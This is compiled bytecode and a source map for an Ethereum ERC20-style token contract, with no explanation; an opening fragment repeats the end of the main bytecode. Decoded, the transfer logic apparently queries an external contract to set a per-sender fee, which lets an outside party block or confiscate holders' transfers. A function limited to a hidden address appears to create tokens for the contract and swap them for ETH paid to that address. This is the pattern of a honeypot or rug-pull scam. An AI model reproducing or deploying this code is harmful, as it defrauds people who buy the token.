611458565b5b5f611b7c84828501611b46565b91505092915050565b5f611b8f826114b6565b9150611b9a836114b6565b9250828202611ba8816114b6565b91508282048414831517611bbf57611bbe611753565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bfd826114b6565b9150611c08836114b6565b925082611c1857611c17611bc6565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c7d6022836113b8565b9150611c8882611c23565b604082019050919050565b5f6020820190508181035f830152611caa81611c71565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce5601b836113b8565b9150611cf082611cb1565b602082019050919050565b5f6020820190508181035f830152611d1281611cd9565b905091905056fea26469706673582212200742f58dd607183a184d30df19e159e35906f28e62095efe4d4090c8e6258a8564736f6c63430008140033

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c8063502f7446116100ab57806394b918de1161006f57806394b918de146102e757806395d89b4114610303578063a457c2d714610321578063a9059cbb14610351578063dd62ed3e146103815761011f565b8063502f7446146102535780636f268a991461027157806370a082311461028f578063715018a6146102bf5780638da5cb5b146102c95761011f565b80632aa0d284116100f25780632aa0d284146101bf578063313ce567146101c957806332424aa3146101e757806339509351146102055780633eaaf86b146102355761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103b1565b6040516101389190611438565b60405180910390f35b61015b600480360381019061015691906114e9565b610441565b6040516101689190611541565b60405180910390f35b610179610457565b6040516101869190611569565b60405180910390f35b6101a960048036038101906101a49190611582565b610460565b6040516101b69190611541565b60405180910390f35b6101c7610502565b005b6101d1610594565b6040516101de9190611569565b60405180910390f35b6101ef61059d565b6040516101fc9190611569565b60405180910390f35b61021f600480360381019061021a91906114e9565b6105a3565b60405161022c9190611541565b60405180910390f35b61023d610643565b60405161024a9190611569565b60405180910390f35b61025b610649565b60405161026891906115e1565b60405180910390f35b61027961066e565b60405161028691906115e1565b60405180910390f35b6102a960048036038101906102a491906115fa565b610693565b6040516102b69190611569565b60405180910390f35b6102c76106d9565b005b6102d1610808565b6040516102de91906115e1565b60405180910390f35b61030160048036038101906102fc9190611625565b61082f565b005b61030b610af1565b6040516103189190611438565b60405180910390f35b61033b600480360381019061033691906114e9565b610b81565b6040516103489190611541565b60405180910390f35b61036b600480360381019061036691906114e9565b610ca5565b6040516103789190611541565b60405180910390f35b61039b60048036038101906103969190611650565b610cc2565b6040516103a89190611569565b60405180910390f35b6060600480546103c0906116bb565b80601f01602080910402602001604051908101604052809291908181526020018280546103ec906116bb565b80156104375780601f1061040e57610100808354040283529160200191610437565b820191905f5260205f20905b81548152906001019060200180831161041a57829003601f168201915b5050505050905090565b5f61044d338484610d44565b6001905092915050565b5f600254905090565b5f61046c848484610f07565b8160085f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104b3611277565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156104f7575f80fd5b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610521610808565b73ffffffffffffffffffffffffffffffffffffffff1614610577576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161056e90611735565b60405180910390fd5b6001600560146101000a81548160ff021916908315150217905550565b5f600154905090565b60015481565b5f6106396105af611277565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546106349190611780565b610d44565b6001905092915050565b60025481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60095f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106f8610808565b73ffffffffffffffffffffffffffffffffffffffff161461074e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074590611735565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61083761127e565b15610ae8576108683060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610d44565b8060095f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600267ffffffffffffffff8111156108c6576108c56117b3565b5b6040519080825280602002602001820160405280156108f45781602001602082028036833780820191505090505b5090505f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610962573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098691906117f4565b905030825f8151811061099c5761099b61181f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505080826001815181106109eb576109ea61181f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947845f8560075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16602042610a949190611780565b6040518663ffffffff1660e01b8152600401610ab4959493929190611945565b5f604051808303815f87803b158015610acb575f80fd5b505af1158015610add573d5f803e3d5ffd5b505050505050610aed565b610aee565b5b50565b606060038054610b00906116bb565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2c906116bb565b8015610b775780601f10610b4e57610100808354040283529160200191610b77565b820191905f5260205f20905b815481529060010190602001808311610b5a57829003601f168201915b5050505050905090565b5f8160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20541015610c06575f80fd5b610c9b610c11611277565b848460085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610c96919061199d565b610d44565b6001905092915050565b5f610cb8610cb1611277565b8484610f07565b6001905092915050565b5f60085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610db2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da990611a40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e20576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1790611ace565b60405180910390fd5b8060085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610efa9190611569565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f3e575f80fd5b5f8060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1685604051602401610f8991906115e1565b6040516020818303038152906040527f70a08231000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516110139190611b30565b5f604051808303815f865af19150503d805f811461104c576040519150601f19603f3d011682016040523d82523d5f602084013e611051565b606091505b50915091505f8180602001905181019061106b9190611b5a565b90505f611094606461108684886112db90919063ffffffff16565b61135290919063ffffffff16565b905060095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20548511156110df575f80fd5b8460095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611128919061199d565b60095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550808560095f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111b39190611780565b6111bd919061199d565b60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8388611259919061199d565b6040516112669190611569565b60405180910390a350505050505050565b5f33905090565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166112bf611277565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b5f8083036112eb575f905061134c565b5f82846112f89190611b85565b90508284826113079190611bf3565b14611347576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133e90611c93565b60405180910390fd5b809150505b92915050565b5f808211611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90611cfb565b60405180910390fd5b5f82846113a29190611bf3565b90508091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113e55780820151818401526020810190506113ca565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61140a826113ae565b61141481856113b8565b93506114248185602086016113c8565b61142d816113f0565b840191505092915050565b5f6020820190508181035f8301526114508184611400565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114858261145c565b9050919050565b6114958161147b565b811461149f575f80fd5b50565b5f813590506114b08161148c565b92915050565b5f819050919050565b6114c8816114b6565b81146114d2575f80fd5b50565b5f813590506114e3816114bf565b92915050565b5f80604083850312156114ff576114fe611458565b5b5f61150c858286016114a2565b925050602061151d858286016114d5565b9150509250929050565b5f8115159050919050565b61153b81611527565b82525050565b5f6020820190506115545f830184611532565b92915050565b611563816114b6565b82525050565b5f60208201905061157c5f83018461155a565b92915050565b5f805f6060848603121561159957611598611458565b5b5f6115a6868287016114a2565b93505060206115b7868287016114a2565b92505060406115c8868287016114d5565b9150509250925092565b6115db8161147b565b82525050565b5f6020820190506115f45f8301846115d2565b92915050565b5f6020828403121561160f5761160e611458565b5b5f61161c848285016114a2565b91505092915050565b5f6020828403121561163a57611639611458565b5b5f611647848285016114d5565b91505092915050565b5f806040838503121561166657611665611458565b5b5f611673858286016114a2565b9250506020611684858286016114a2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806116d257607f821691505b6020821081036116e5576116e461168e565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61171f6020836113b8565b915061172a826116eb565b602082019050919050565b5f6020820190508181035f83015261174c81611713565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61178a826114b6565b9150611795836114b6565b92508282019050808211156117ad576117ac611753565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f815190506117ee8161148c565b92915050565b5f6020828403121561180957611808611458565b5b5f611816848285016117e0565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f819050919050565b5f819050919050565b5f61187861187361186e8461184c565b611855565b6114b6565b9050919050565b6118888161185e565b82525050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6118c08161147b565b82525050565b5f6118d183836118b7565b60208301905092915050565b5f602082019050919050565b5f6118f38261188e565b6118fd8185611898565b9350611908836118a8565b805f5b8381101561193857815161191f88826118c6565b975061192a836118dd565b92505060018101905061190b565b5085935050505092915050565b5f60a0820190506119585f83018861155a565b611965602083018761187f565b818103604083015261197781866118e9565b905061198660608301856115d2565b611993608083018461155a565b9695505050505050565b5f6119a7826114b6565b91506119b2836114b6565b92508282039050818111156119ca576119c9611753565b5b92915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611a2a6025836113b8565b9150611a35826119d0565b604082019050919050565b5f6020820190508181035f830152611a5781611a1e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611ab86023836113b8565b9150611ac382611a5e565b604082019050919050565b5f6020820190508181035f830152611ae581611aac565b9050919050565b5f81519050919050565b5f81905092915050565b5f611b0a82611aec565b611b148185611af6565b9350611b248185602086016113c8565b80840191505092915050565b5f611b3b8284611b00565b915081905092915050565b5f81519050611b54816114bf565b92915050565b5f60208284031215611b6f57611b6e611458565b5b5f611b7c84828501611b46565b91505092915050565b5f611b8f826114b6565b9150611b9a836114b6565b9250828202611ba8816114b6565b91508282048414831517611bbf57611bbe611753565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611bfd826114b6565b9150611c08836114b6565b925082611c1857611c17611bc6565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f611c7d6022836113b8565b9150611c8882611c23565b604082019050919050565b5f6020820190508181035f830152611caa81611c71565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f611ce5601b836113b8565b9150611cf082611cb1565b602082019050919050565b5f6020820190508181035f830152611d1281611cd9565b905091905056fea26469706673582212200742f58dd607183a184d30df19e159e35906f28e62095efe4d4090c8e6258a8564736f6c63430008140033

3711:7338:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4836:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6291:158;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7086:93;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7768:228;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4176:82;;;:::i;:::-;;4018:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3779:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5703:201;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3814:55;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4113:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5272:25;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5964:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3412:148;;;:::i;:::-;;3335:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6455:569;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5179:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10803:243;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9100:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4981:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4836:85;4875:13;4908:5;4901:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4836:85;:::o;6291:158::-;6365:4;6382:37;6391:10;6403:7;6412:6;6382:8;:37::i;:::-;6437:4;6430:11;;6291:158;;;;:::o;7086:93::-;7132:7;7159:12;;7152:19;;7086:93;:::o;7768:228::-;7856:4;7873:35;7883:4;7889:9;7900:7;7873:9;:35::i;:::-;7958:7;7927:11;:17;7939:4;7927:17;;;;;;;;;;;;;;;:27;7945:8;:6;:8::i;:::-;7927:27;;;;;;;;;;;;;;;;:38;;7919:47;;;;;;7984:4;7977:11;;7768:228;;;;;:::o;4176:82::-;3172:10;3161:21;;:7;:5;:7::i;:::-;:21;;;3153:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;4246:4:::1;4232:11;;:18;;;;;;;;;;;;;;;;;;4176:82::o:0;4018:87::-;4061:7;4088:9;;4081:16;;4018:87;:::o;3779:28::-;;;;:::o;5703:201::-;5783:4;5800:74;5809:8;:6;:8::i;:::-;5819:7;5863:10;5828:11;:23;5840:10;5828:23;;;;;;;;;;;;;;;:32;5852:7;5828:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;5800:8;:74::i;:::-;5892:4;5885:11;;5703:201;;;;:::o;3814:55::-;;;;:::o;4113:23::-;;;;;;;;;;;;;:::o;5272:25::-;;;;;;;;;;;;;:::o;5964:110::-;6021:7;6048:9;:18;6058:7;6048:18;;;;;;;;;;;;;;;;6041:25;;5964:110;;;:::o;3412:148::-;3172:10;3161:21;;:7;:5;:7::i;:::-;:21;;;3153:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3519:1:::1;3482:40;;3503:6;::::0;::::1;;;;;;;;3482:40;;;;;;;;;;;;3550:1;3533:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3412:148::o:0;3335:71::-;3381:7;3398:6;;;;;;;;;;;3391:13;;3335:71;:::o;6455:569::-;6514:15;:13;:15::i;:::-;6510:507;;;6546:57;6563:4;6578:11;;;;;;;;;;;6592:10;6546:8;:57::i;:::-;6646:10;6619:9;:24;6637:4;6619:24;;;;;;;;;;;;;;;:37;;;;6671:28;6716:1;6702:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6671:47;;6733:12;6748:11;;;;;;;;;;;:16;;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6733:33;;6806:4;6781:11;6793:1;6781:14;;;;;;;;:::i;:::-;;;;;;;:30;;;;;;;;;;;6844:4;6827:11;6839:1;6827:14;;;;;;;;:::i;:::-;;;;;;;:21;;;;;;;;;;;6864:11;;;;;;;;;;;:62;;;6927:10;6939:1;6942:11;6955:10;;;;;;;;;;;6985:2;6967:15;:20;;;;:::i;:::-;6864:124;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6531:469;;6510:507;;;7008:7;;6510:507;6455:569;;:::o;5179:87::-;5218:13;5251:7;5244:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5179:87;:::o;10803:243::-;10876:4;10934:6;10901:11;:23;10913:10;10901:23;;;;;;;;;;;;;;;:29;10925:4;10901:29;;;;;;;;;;;;;;;;:39;;10893:48;;;;;;10952:64;10961:8;:6;:8::i;:::-;10971:4;11009:6;10977:11;:23;10989:10;10977:23;;;;;;;;;;;;;;;:29;11001:4;10977:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;10952:8;:64::i;:::-;11034:4;11027:11;;10803:243;;;;:::o;9100:154::-;9169:4;9186:38;9196:8;:6;:8::i;:::-;9206:9;9217:6;9186:9;:38::i;:::-;9242:4;9235:11;;9100:154;;;;:::o;4981:134::-;5053:7;5080:11;:18;5092:5;5080:18;;;;;;;;;;;;;;;:27;5099:7;5080:27;;;;;;;;;;;;;;;;5073:34;;4981:134;;;;:::o;8438:346::-;8557:1;8540:19;;:5;:19;;;8532:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;8639:1;8620:21;;:7;:21;;;8612:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;8722:6;8692:11;:18;8704:5;8692:18;;;;;;;;;;;;;;;:27;8711:7;8692:27;;;;;;;;;;;;;;;:36;;;;8760:7;8744:32;;8753:5;8744:32;;;8769:6;8744:32;;;;;;:::i;:::-;;;;;;;;8438:346;;;:::o;9743:561::-;9853:1;9834:21;;:7;:21;;;9826:30;;;;;;9868:6;9876:17;9897:8;;;;;;;;;;;:13;;9967:7;9911:64;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9897:79;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9867:109;;;;9987:15;10016:4;10005:27;;;;;;;;;;;;:::i;:::-;9987:45;;10043:12;10058:27;10081:3;10058:18;10068:7;10058:5;:9;;:18;;;;:::i;:::-;:22;;:27;;;;:::i;:::-;10043:42;;10113:9;:18;10123:7;10113:18;;;;;;;;;;;;;;;;10104:5;:27;;10096:36;;;;;;10185:5;10164:9;:18;10174:7;10164:18;;;;;;;;;;;;;;;;:26;;;;:::i;:::-;10143:9;:18;10153:7;10143:18;;;;;;;;;;;;;;;:47;;;;10241:4;10233:5;10217:9;:13;10227:2;10217:13;;;;;;;;;;;;;;;;:21;;;;:::i;:::-;:28;;;;:::i;:::-;10201:9;:13;10211:2;10201:13;;;;;;;;;;;;;;;:44;;;;10279:2;10261:35;;10270:7;10261:35;;;10291:4;10283:5;:12;;;;:::i;:::-;10261:35;;;;;;:::i;:::-;;;;;;;;9815:489;;;;9743:561;;;:::o;4687:86::-;4728:7;4755:10;4748:17;;4687:86;:::o;8790:102::-;8837:4;8874:10;;;;;;;;;;;8862:22;;:8;:6;:8::i;:::-;:22;;;8854:30;;8790:102;:::o;1785:223::-;1843:7;1872:1;1867;:6;1863:23;;1883:1;1876:8;;;;1863:23;1896:9;1912:1;1908;:5;;;;:::i;:::-;1896:17;;1941:1;1936;1932;:5;;;;:::i;:::-;:10;1924:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;1999:1;1992:8;;;1785:223;;;;;:::o;2476:178::-;2534:7;2566:1;2562;:5;2554:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;2610:9;2626:1;2622;:5;;;;:::i;:::-;2610:17;;2645:1;2638:8;;;2476:178;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:118::-;4510:24;4528:5;4510:24;:::i;:::-;4505:3;4498:37;4423:118;;:::o;4547:222::-;4640:4;4678:2;4667:9;4663:18;4655:26;;4691:71;4759:1;4748:9;4744:17;4735:6;4691:71;:::i;:::-;4547:222;;;;:::o;4775:329::-;4834:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;4775:329;;;;:::o;5110:::-;5169:6;5218:2;5206:9;5197:7;5193:23;5189:32;5186:119;;;5224:79;;:::i;:::-;5186:119;5344:1;5369:53;5414:7;5405:6;5394:9;5390:22;5369:53;:::i;:::-;5359:63;;5315:117;5110:329;;;;:::o;5445:474::-;5513:6;5521;5570:2;5558:9;5549:7;5545:23;5541:32;5538:119;;;5576:79;;:::i;:::-;5538:119;5696:1;5721:53;5766:7;5757:6;5746:9;5742:22;5721:53;:::i;:::-;5711:63;;5667:117;5823:2;5849:53;5894:7;5885:6;5874:9;5870:22;5849:53;:::i;:::-;5839:63;;5794:118;5445:474;;;;;:::o;5925:180::-;5973:77;5970:1;5963:88;6070:4;6067:1;6060:15;6094:4;6091:1;6084:15;6111:320;6155:6;6192:1;6186:4;6182:12;6172:22;;6239:1;6233:4;6229:12;6260:18;6250:81;;6316:4;6308:6;6304:17;6294:27;;6250:81;6378:2;6370:6;6367:14;6347:18;6344:38;6341:84;;6397:18;;:::i;:::-;6341:84;6162:269;6111:320;;;:::o;6437:182::-;6577:34;6573:1;6565:6;6561:14;6554:58;6437:182;:::o;6625:366::-;6767:3;6788:67;6852:2;6847:3;6788:67;:::i;:::-;6781:74;;6864:93;6953:3;6864:93;:::i;:::-;6982:2;6977:3;6973:12;6966:19;;6625:366;;;:::o;6997:419::-;7163:4;7201:2;7190:9;7186:18;7178:26;;7250:9;7244:4;7240:20;7236:1;7225:9;7221:17;7214:47;7278:131;7404:4;7278:131;:::i;:::-;7270:139;;6997:419;;;:::o;7422:180::-;7470:77;7467:1;7460:88;7567:4;7564:1;7557:15;7591:4;7588:1;7581:15;7608:191;7648:3;7667:20;7685:1;7667:20;:::i;:::-;7662:25;;7701:20;7719:1;7701:20;:::i;:::-;7696:25;;7744:1;7741;7737:9;7730:16;;7765:3;7762:1;7759:10;7756:36;;;7772:18;;:::i;:::-;7756:36;7608:191;;;;:::o;7805:180::-;7853:77;7850:1;7843:88;7950:4;7947:1;7940:15;7974:4;7971:1;7964:15;7991:143;8048:5;8079:6;8073:13;8064:22;;8095:33;8122:5;8095:33;:::i;:::-;7991:143;;;;:::o;8140:351::-;8210:6;8259:2;8247:9;8238:7;8234:23;8230:32;8227:119;;;8265:79;;:::i;:::-;8227:119;8385:1;8410:64;8466:7;8457:6;8446:9;8442:22;8410:64;:::i;:::-;8400:74;;8356:128;8140:351;;;;:::o;8497:180::-;8545:77;8542:1;8535:88;8642:4;8639:1;8632:15;8666:4;8663:1;8656:15;8683:85;8728:7;8757:5;8746:16;;8683:85;;